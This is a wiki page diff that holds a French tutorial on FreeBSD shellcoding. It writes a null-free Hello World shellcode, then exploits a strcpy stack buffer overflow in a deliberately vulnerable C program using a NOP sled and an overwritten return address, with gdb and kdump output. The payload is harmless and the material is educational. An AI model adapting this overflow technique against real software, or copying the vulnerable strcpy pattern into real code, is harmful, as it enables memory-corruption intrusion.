Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
codaz:asm:freebsd_shellcoding [2007/09/24 16:57]
jfg
codaz:asm:freebsd_shellcoding [2010/01/12 13:29] (current)
Line 1: Line 1:
 +====== Shellcoding sous FreeBSD 6.2 ======
 +
 +FIXME (en cours de relecture)
 +
 +
 +===== Intro =====
 +
 +Après avoir lu les tutos de [[http://​wiki.gcu.info/​doku.php?​id=codaz:​asm:​l_assembleur_pour_lutins_presses|jfg]],​ je vous propose de vous initier brièvement au shellcoding sous FreeBSD.
 +Ici, nous aurons à faire à un simple shellcode qui affiche "Hello World!",​ vous pourrez trouver de "​vrai"​ shellcodes (c-a-d qui lancent un shell) sur le ternet.. Le but ici étant de vous familiariser avec l'​assembleur sous FreeBSD.
 +
 +
 +
 +===== Prérequis =====
 +
 +Lors de ce tuto, j'​utilise uniquement la syntaxe Intel(tm) (NASM toussa) dans le premier 'Hello World' pour vous
 +aider à le comparer avec celui donné dans le tuto de [[http://​wiki.gcu.info/​doku.php?​id=codaz:​asm:​l_assembleur_pour_lutins_presses|jfg]].
 +Le reste est écrit en syntaxe Unix (AT&T) (AS toussa) car étant ma syntaxe de préférence. J'en rappelle brièvement la
 +plus grosse différence :
 +
 +<​code>​
 +(Intel / NASM)  MOV EAX,4               ​(instruction destination source)
 +(AT&T / AS)     MOVL $0x4,​%EAX ​         (instruction source destination)
 +</​code>​
 +
 +
 +===== Plan =====
 +
 +  * "Hello World" basique pour comparer efficacement avec le "Hello World" apercu [[http://​wiki.gcu.info/​doku.php?​id=codaz:​asm:​l_assembleur_pour_lutins_presses|ici]]
 +  * "Hello World" '​optimisé'​ pour le shellcoding (ASM syntaxe AT&T)
 +  * "​Exploitation"​ très très très simple d'un buffer overflow
 +
 +
 +===== Hello World ! =====
 +
 +Voici donc un Hello World de tout ce qu'il y a de plus classique, mais pour FreeBSD :
 +
 +<​code>​
 +section .text
 +    global _start
 +_start:
 +    mov     ​eax,​0 ​              ; mise à zero du registre EAX
 +    push    dword   ​strlen ​     ; arg 3 : la longueur de la chaîne
 +    push    dword   ​string ​     ; arg 2 : la chaîne de caractères
 +    push    dword   ​1 ​          ; arg 1 : la sortie (STDOUT)
 +    mov     ​eax,​4 ​              ; syscall : 4 (write)
 +    push    eax                 ; envoi d'EAX dans la stack
 +    call    7:0                 ; appel du kernel
 +    add     ​esp,​12 ​             ; nettoyage de la stack : incrémente ESP de 4*nb arg = 4*3 = 12
 +
 +    push    dword   ​0 ​          ; arg 1 : valeur de exit(0)
 +    mov     ​eax,​1 ​              ; syscall : 1 (exit)
 +    push    eax                 ; envoi d'EAX dans la pile
 +    call    7:0                 ; appel kernel
 +
 +section .data
 +    string ​ db  "Hello World!",​0x0a ​    ; Hello World!\n
 +    strlen ​ equ $ - string ​             ; longueur
 +</​code>​
 +
 +Ce que vous pouvez remarquer :
 +
 +  * Contrairement à Linux qui dispose ses arguments dans plusieurs registres (rappellez-vous,​ EBX, ECX toussa), ici nous '​pushons'​
 +directement les arguments dans la stack (et dans le sens inverse). (rajout jfg: oui enfin utiliser les registres pour passer des arguments c'est un peu vieux, et sous linux on utilise aussi la stack, cf partie II et III)
 +  * "add esp,​12"​ consiste à nettoyer la stack pour le prochain appel système (pour des registres 32bits, d'ou le 4bytes * 3)
 +  * "call 7:0" est l'​appel au noyau de manière propre (on verra une autre manière de procéder)
 +
 +Si on s'​intéresse au résultat :
 +
 +<​code>​
 +$ nasm -f elf hello.s
 +$ ld -o hello hello.o
 +$ ./hello
 +Hello World!
 +$
 +</​code>​
 +
 +On se permet de vérifier le code désassemblé
 +
 +<​code>​
 +$ objdump -d hello
 +
 +hello: ​    file format elf32-i386-freebsd
 +
 +Disassembly of section .text:
 +
 +08048080 <​_start>:​
 + ​8048080: ​      b8 00 00 00 00          mov    $0x0,%eax
 + ​8048085: ​      68 0d 00 00 00          push   $0xd
 + ​804808a: ​      68 bc 90 04 08          push   ​$0x80490bc
 + ​804808f: ​      68 01 00 00 00          push   $0x1
 + ​8048094: ​      b8 04 00 00 00          mov    $0x4,%eax
 + ​8048099: ​      ​50 ​                     push   %eax
 + ​804809a: ​      9a 00 00 00 00 07 00    lcall  $0x7,$0x0
 + ​80480a1: ​      81 c4 0c 00 00 00       ​add ​   $0xc,%esp
 + ​80480a7: ​      68 00 00 00 00          push   $0x0
 + ​80480ac: ​      b8 01 00 00 00          mov    $0x1,%eax
 + ​80480b1: ​      ​50 ​                     push   %eax
 + ​80480b2: ​      9a 00 00 00 00 07 00    lcall  $0x7,$0x0
 +$
 +</​code>​
 +
 +Et pour finir l'on vérifie l'​execution du code avec le doublet ktrace(1)/​kdump(1) (sous linux c'est strace):
 +
 +<​code>​
 +$ ktrace ./hello
 +Hello World!
 +$ kdump
 + 12951 ktrace ​  ​RET ​  ​ktrace 0
 + 12951 ktrace ​  ​CALL ​ execve(0xbfbfedbb,​0xbfbfece0,​0xbfbfece8)
 + 12951 ktrace ​  ​NAMI ​ "​./​hello"​
 + 12951 hello    RET   ​execve 0
 + 12951 hello    CALL  write(0x1,​0x80490bc,​0xd)
 + 12951 hello    GIO   fd 1 wrote 13 bytes
 +       "​Hello World!
 +       "​
 + 12951 hello    RET   write 13/0xd
 + 12951 hello    CALL  exit(0)
 +</​code>​
 +
 +Nous voyons que l'​appel à write est correctement effectué (0xd = 13 et 0x80490bc correspond à l'​adresse de la chaine)
 +
 +
 +===== Hello World optimisé =====
 +
 +C'est bien beau de faire un Hello World mais il y a quelques manip' à faire pour s'​assurer de son execution dans un programme en C.
 +
 +Le point bloquant ici est qu'il y a de nombreux bits nuls qui vont poser problème lors de l'​execution de la chaine..
 +Il faut donc les éliminer..
 +
 +Reprenons le dernier objdump...
 +
 +Attention on est en AT&T maintenant !!
 +
 +<​code>​
 +pour mettre à zero un registre, une astuce consiste à utiliser xor (ou exclusif)
 +b8 00 00 00 00          mov    $0x0,%eax
 +        cette instruction devient xor %eax, %eax
 +
 +L'​instruction lcall peut être remplacée avantageusement par int $0x80 comme sous Linux
 +9a 00 00 00 00 07 00    lcall  $0x7,$0x0
 +
 +Autre astuce ici, seuls les 8bits du registre AL peuvent être modifiés !
 +b8 01 00 00 00          mov    $0x1,%eax
 +                devient donc mov $0x1,%al
 +</​code>​
 +
 +On peut aussi se débrouiller pour hardcoder la chaine "Hello World!\n"​ en code ASCII afin d'​eviter les calls...
 +
 +Au final nous obtenons :
 +
 +<​code>​
 +xorl     ​%eax,​%eax ​      /* mise à zero d'EAX */
 +pushl    $0x0a           /* \n */
 +pushl    $0x21646c72 ​    /* !dlr */
 +pushl    $0x6f57206f ​    /* oW o */
 +pushl    $0x6c6c6548 ​    /* lleH */
 +movl     ​%esp,​%ebx ​      /* nous sauvegardons l'​addresse de la chaine dans EBX */
 +pushl    $0xd            /* arg 3 : len(str) = 13 */
 +pushl    %ebx            /* arg 2 : HelloWorld!\n00 */
 +pushl    $0x1            /* arg 1 : STDOUT */
 +mov      $0x4,​%al ​       /* registre AL (premiers 8bits d'​EAX),​ sys_write : 4 */
 +pushl    %eax            /* envoi EAX dans la stack avant l'​appel kernel */
 +int      $0x80           /* appel kernel */
 +addl     ​$0xc,​%esp ​      /* nettoyage de la stack */
 +
 +xorl     ​%eax,​%eax ​      /* reset EAX */
 +pushl    %eax            /* arg 1 = 0 */
 +mov      $0x1,​%al ​       /* sys_exit */
 +pushl    %eax            /* envoi EAX dans la stack */
 +int      $0x80           /* exécute */
 +</​code>​
 +
 +C'est beau lutin ? D'​autant plus en voyant cela :
 +
 +<​code>​
 +hello: ​    file format elf32-i386-freebsd
 +
 +Disassembly of section .text:
 +
 +08048074 <​.text>:​
 + ​8048074: ​      31 c0                   ​xor ​   %eax,%eax
 + ​8048076: ​      6a 0a                   ​push ​  $0xa
 + ​8048078: ​      68 72 6c 64 21          push   ​$0x21646c72
 + ​804807d: ​      68 6f 20 57 6f          push   ​$0x6f57206f
 + ​8048082: ​      68 48 65 6c 6c          push   ​$0x6c6c6548
 + ​8048087: ​      89 e3                   ​mov ​   %esp,%ebx
 + ​8048089: ​      6a 0d                   ​push ​  $0xd
 + ​804808b: ​      ​53 ​                     push   %ebx
 + ​804808c: ​      6a 01                   ​push ​  $0x1
 + ​804808e: ​      b0 04                   ​mov ​   $0x4,%al
 + ​8048090: ​      ​50 ​                     push   %eax
 + ​8048091: ​      cd 80                   ​int ​   $0x80
 + ​8048093: ​      83 c4 0c                add    $0xc,%esp
 + ​8048096: ​      31 c0                   ​xor ​   %eax,%eax
 + ​8048098: ​      ​50 ​                     push   %eax
 + ​8048099: ​      b0 01                   ​mov ​   $0x1,%al
 + ​804809b: ​      ​50 ​                     push   %eax
 + ​804809c: ​      cd 80                   ​int ​   $0x80
 +</​code>​
 +
 +Il ne te reste plus qu'à récupérer les opcodes et à les incorporer dans ton .c :
 +
 +<​code>​
 +#include <​unistd.h>​
 +
 +char shellcode[] =
 +        "​\x31\xc0"​
 +        "​\x6a\x0a"​
 +        "​\x68\x72\x6c\x64\x21"​
 +        "​\x68\x6f\x20\x57\x6f"​
 +        "​\x68\x48\x65\x6c\x6c"​
 +        "​\x89\xe3"​
 +        "​\x6a\x0d"​
 +        "​\x53"​
 +        "​\x6a\x01"​
 +        "​\xb0\x04"​
 +        "​\x50"​
 +        "​\xcd\x80"​
 +        "​\x83\xc4\x0c"​
 +        "​\x31\xc0"​
 +        "​\x50"​
 +        "​\xb0\x01"​
 +        "​\x50"​
 +        "​\xcd\x80";​
 +
 +int
 +main(void)
 +{
 +        void (*run)()=(void *)shellcode;​
 +        printf("​longueur du shellcode : %d bytes\n",​ strlen(shellcode));​
 +        run();
 +        return 0;
 +}
 +</​code>​
 +
 +On compile et on vérifie :
 +
 +<​code>​
 +$ ktrace ./​hello_shellcode
 +longueur du shellcode : 42 bytes
 +Hello World!
 +$ kdump
 +--- SNIP ---
 + 14953 hello_shellcode CALL  write(0x1,​0xbfbfec5c,​0xd)
 +--- SNIP ---
 + 14953 hello_shellcode CALL  exit(0)
 +</​code>​
 +
 +Bon 42 bytes c'est assez long pour un shellcode donc il est encore optimisable (par exemple enlever l'​appel à exit,
 +éviter le cleaning de la stack ...)
 +
 +Mais ca suffira pour la dernière partie de notre tuto :
 +
 +
 +
 +
 +
 +===== Buffer Overflow =====
 +
 +Voici notre petit programme vulnérable :
 +
 +<​code>​
 +#include <​stdio.h>​
 +
 +int
 +main(int argc, char **argv)
 +{
 +        char buf[256];
 +
 +        memset(buf, 0, sizeof buf);
 +
 +        if (argc < 2) {
 +                fprintf(stderr,​ "Usage : ./vuln prout\n"​);​
 +                exit(0);
 +        }
 +        strcpy(buf, argv[1]);
 +        printf("​buf:​ %s\n", buf);
 +        return 0;
 +}
 +</​code>​
 +
 +Ici, ce qui cause problème, c'est strcpy qui ne vérifie pas si la valeur entrée est plus grande
 +ou non que le buffer alloué..
 +
 +<​code>​
 +$ ./vuln
 +Usage : ./vuln prout
 +$ ./vuln blah
 +buf: blah
 +$ ./vuln `perl -e 'print "​A"​x300'​
 +buf: AAAAAAAAAAAA[--SNIP--]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 +segmentation fault (core dumped) ​ ./vuln `perl -e 'print "​A"​x300'​`
 +</​code>​
 +
 +Comme vous le constatez, une trop grande valeur entrée en argument provoque un segfault..
 +GDB va nous aider a en savoir un peu plus ...
 +
 +<​code>​
 +$ gdb -core=vuln.core
 +(gdb) i r
 +eax            0x0      0
 +ecx            0x132    306
 +edx            0x132    306
 +ebx            0x2      2
 +esp            0xbfbfeb50 ​      ​0xbfbfeb50
 +ebp            0x41414141 ​      ​0x41414141
 +esi            0xbfbfeba8 ​      ​-1077941336
 +edi            0x2804eb64 ​      ​671411044
 +eip            0x41414141 ​      ​0x41414141
 +eflags ​        ​0x10286 ​ 66182
 +cs             ​0x33 ​    51
 +ss             ​0x3b ​    59
 +ds             ​0x3b ​    59
 +es             ​0x3b ​    59
 +fs             ​0x3b ​    59
 +gs             ​0x1b ​    27
 +(gdb) file vuln
 +Reading symbols from vuln...(no debugging symbols found)...done.
 +(gdb) disas main
 +Dump of assembler code for function main:
 +0x08048560 <​main+0>: ​   push   %ebp
 +0x08048561 <​main+1>: ​   mov    %esp,%ebp
 +0x08048563 <​main+3>: ​   sub    $0x108,%esp
 +0x08048569 <​main+9>: ​   and    $0xfffffff0,​%esp
 +--- SNIP ---
 +</​code>​
 +
 +Voila qui est intéressant : non seulement EBP est réecrit avec notre valeur (0x41 = A en hexa)
 +mais aussi le pointeur d'​adresse EIP.. (EIP est un registre qui contient l'​adresse de la prochaine instruction à exécuter).
 +
 +Autre chose d'​intéressant : l'​instruction "​sub ​   $0x108,​%esp"​ indique la valeur réellement allouée à notre buffer "​buf"​ par GDB.. 0x108 correspondant en hexa à 264..
 +
 +Pour rappel, notre buffer ferait 264 bytes, EBP quatre de plus et ensuite se situerait EIP (encore 4bytes)
 +
 +Vérifions cela :
 +
 +<​code>​
 +$ ./vuln `perl -e 'print "​A"​x268 . "​BBBB"'​`
 +---SNIP---
 +$ gdb -core=vuln.core
 +---SNIP---
 +(gdb) i r ebp
 +ebp            0x41414141 ​      ​0x41414141
 +(gdb) i r eip
 +eip            0x42424242 ​      ​0x42424242
 +</​code>​
 +
 +On commence à sentir venir les choses, car nous avons trouvé comment remplir notre tampon et entrer la valeur de retour dans EIP ("​B"​ = 0x42).
 +
 +<​code>​
 +(gdb) x/150x $esp
 +0xbfbfec90: ​    ​0x75762f2e ​     0x41006e6c ​     0x41414141 ​     0x41414141
 +0xbfbfeca0: ​    ​0x41414141 ​     0x41414141 ​     0x41414141 ​     0x41414141
 +--SNIP--
 +0xbfbfed90: ​    ​0x41414141 ​     0x41414141 ​     0x41414141 ​     0x41414141
 +0xbfbfeda0: ​    ​0x42414141 ​     0x00424242
 +--SNIP--
 +</​code>​
 +
 +Cette valeur de retour, il "​suffit"​ de la prendre dans le buffer que nous remplirons par des NOP (0x90) au lieu de "​A"​.. Cette instruction demande au processeur de ne rien faire.
 +Le but ici est de placer notre shellcode dans cet espace de cette manière :
 +
 +<​code>​
 +XXXX NOP NOP NOP NOP SHELLCODE NOP EIP XXXXX
 +</​code>​
 +
 +Il nous faut donc un buffer assez grand pour entrer nos 42 bytes et c'est justement le cas..
 +Pour exploiter cette faille, voici un petit code C
 +
 +<​code>​
 +#include <​stdlib.h>​
 +
 +#define SICK            "​./​vuln" ​       //chemin du programme
 +#define NOP             ​0x90 ​           //OPCODE du NOP
 +#define BUFFERSIZE ​     264             //​taille du buffer
 +
 +/* notre shellcode */
 +unsigned char shellcode[] =
 +        "​\x31\xc0"​
 +        "​\x6a\x0a"​
 +        "​\x68\x72\x6c\x64\x21"​
 +        "​\x68\x6f\x20\x57\x6f"​
 +        "​\x68\x48\x65\x6c\x6c"​
 +        "​\x89\xe3"​
 +        "​\x6a\x0d"​
 +        "​\x53"​
 +        "​\x6a\x01"​
 +        "​\xb0\x04"​
 +        "​\x50"​
 +        "​\xcd\x80"​
 +        "​\x83\xc4\x0c"​
 +        "​\x31\xc0"​
 +        "​\x50"​
 +        "​\xb0\x01"​
 +        "​\x50"​
 +        "​\xcd\x80";​
 +
 +int
 +main(int argc, char *argv[])
 +{
 +        unsigned long addr;     //​adresse que nous allons entrer dans EIP
 +        char ptr[BUFFERSIZE]; ​  //​buffer
 +
 +        memset(ptr, 0, BUFFERSIZE + 8); //On s'​assure que notre buffer est tout propre
 +        memset(ptr, NOP, BUFFERSIZE + 8); //Nous le remplissons de NOP
 +        /* Et ici nous copions notre shellcode */
 +        memmove(ptr + BUFFERSIZE - strlen(shellcode),​ shellcode, strlen(shellcode));​
 +        /* Adresse de retour choisie qui se situe dans les NOP et avant le shellcode */
 +        addr = 0xbfbfecb0;
 +        printf("​Adresse utilisee pour remplir EIP : 0x%lx\n",​ addr);
 +        *(long *)&​ptr[BUFFERSIZE + 4] = addr; /* Nous la plaçons juste après EBP */
 +        printf("​Envoi du shellcode !\n");
 +        execl(SICK, "vuln injection",​ ptr, NULL);
 +        return 0;
 +}
 +</​code>​
 +
 +Plus qu'à compiler et à exécuter
 +
 +<​code>​
 +$ ./​exploit_vuln
 +Adresse utilisee pour remplir EIP : 0xbfbfecb0
 +Envoi du shellcode !
 +buf: 1Àj
 +Sj°PÍÄo WohHellãj
 +      1ÀP°PÍ°ì¿¿Äì¿¿dë(xì¿¿°ì¿¿
 +Hello World! ​
 +$
 +</​code>​
 +
 +Et enfin le petit kdump nous dit :
 +
 +<​code>​
 +---SNIP---
 + 24177 vuln     ​GIO ​  fd 1 wrote 231 bytes
 +       ​0x0000 6275 663a 2090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |buf: ...............................|
 +       ​0x0024 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
 +       ​0x0048 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
 +       ​0x006c 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
 +       ​0x0090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
 +       ​0x00b4 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
 +       ​0x00d8 9090 9090 9090 9090 9090 9031 c06a 0a                                                      |...........1.j.|
 +
 + 24177 vuln     ​RET ​  write 231/0xe7
 + 24177 vuln     ​CALL ​ write(0x1,​0x804b000,​0x40)
 + 24177 vuln     ​GIO ​  fd 1 wrote 64 bytes
 +       ​0x0000 6872 6c64 2168 6f20 576f 6848 656c 6c89 e36a 0d53 6a01 b004 50cd 8083 c40c 31c0 50b0 0150  |hrld!ho WohHell..j.Sj...P.....1.P..P|
 +       ​0x0024 cd80 9090 9090 b0ec bfbf dcec bfbf 64eb 0428 98ec bfbf b0ec bfbf 100a                      |..............d..(..........|
 +
 + 24177 vuln     ​RET ​  write 64/0x40
 + 24177 vuln     ​CALL ​ write(0x1,​0xbfbfeb60,​0xd)
 + 24177 vuln     ​GIO ​  fd 1 wrote 13 bytes
 +       "​Hello World!
 +       "​
 + 24177 vuln     ​RET ​  write 13/0xd
 + 24177 vuln     ​CALL ​ exit(0)
 +</​code>​
 +
 +Avec le petit apercu de la pile :)
 +
 +
 +===== Changelog =====
 +
 + * 24/09/2007 Création du tip par hotbox
 +
 + * 24/09/2007 jfg, Rajout de quelques explications et modification d'un slash :)
 +
  
codaz/asm/freebsd_shellcoding.txt · Last modified: 2010/01/12 13:29 (external edit)